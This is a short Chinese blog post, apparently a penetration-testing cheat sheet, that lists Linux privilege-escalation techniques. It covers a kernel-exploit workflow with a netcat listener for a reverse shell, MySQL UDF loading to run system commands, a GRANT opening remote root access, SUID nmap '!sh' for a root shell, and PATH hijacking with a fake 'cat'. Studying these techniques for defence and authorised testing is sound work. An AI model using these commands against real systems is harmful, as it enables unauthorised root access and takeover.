Linux提权

2019-04-21  本文已影响0人  theLexical

简单概述Linux的几种提权的办法。

内核溢出提权

# 查看系统内核版本
uname -r 
找到对应的内核版本的exp
上传–>编译–>运行

# 上传,一般是上传到了当前目录,需要移动到/tmp目录下
# 编译,需要反弹连接我,然后开始侦听
nc -l -n -v -p 12345
# 运行
# 如果输命令没有回显,表示内核利用失败

mysql udf提权

上传库文件

执行库文件创建命令执行函数

比如把32位的代码导入到/usr/lib/mysql/plugin/mysqludf.so

# 也可以
create function sys_eval returns string soname "mysqludf.so";

select sys_eval('whoami');

# 有时不能root外连,开启外连 (mysql提权工具)
Grant all privileges on *.* to 'root'@'%' identified by 'cc4789.com' with grant option;

SUID提权

# 查找具有suid权限的命令
find / -perm -u=s -type f 2>/dev/null

# 发现nmap具有suid权限
namp> !sh   # 获得一个root权限的shell

环境变量劫持高权限程序提权

就是修改环境变量,如果用户执行ls命令时,真正执行的是attacker自己写的恶意的ls命令。当然,要提权的话,需要suid权限。

# 查找suid权限的文件
find / -perm -u=s -type f 2>/dev/null

# 利用file命令查看文件是否可执行
file namp

# 执行该文件,执行时可能会报错,根据报错查看调用系统命令    (要是不报错呢?)
~$ ./msgmike
cat: /home/mike/msg/msg.txt: No such file or directory

# 伪造cat命令
~$ touch cat
touch cat
~$ echo "/bin/sh" > cat
echo "/bin/sh" > cat

# 修改$PATH,使运行自己创建的cat(/bin/sh)
上一篇下一篇

猜你喜欢

热点阅读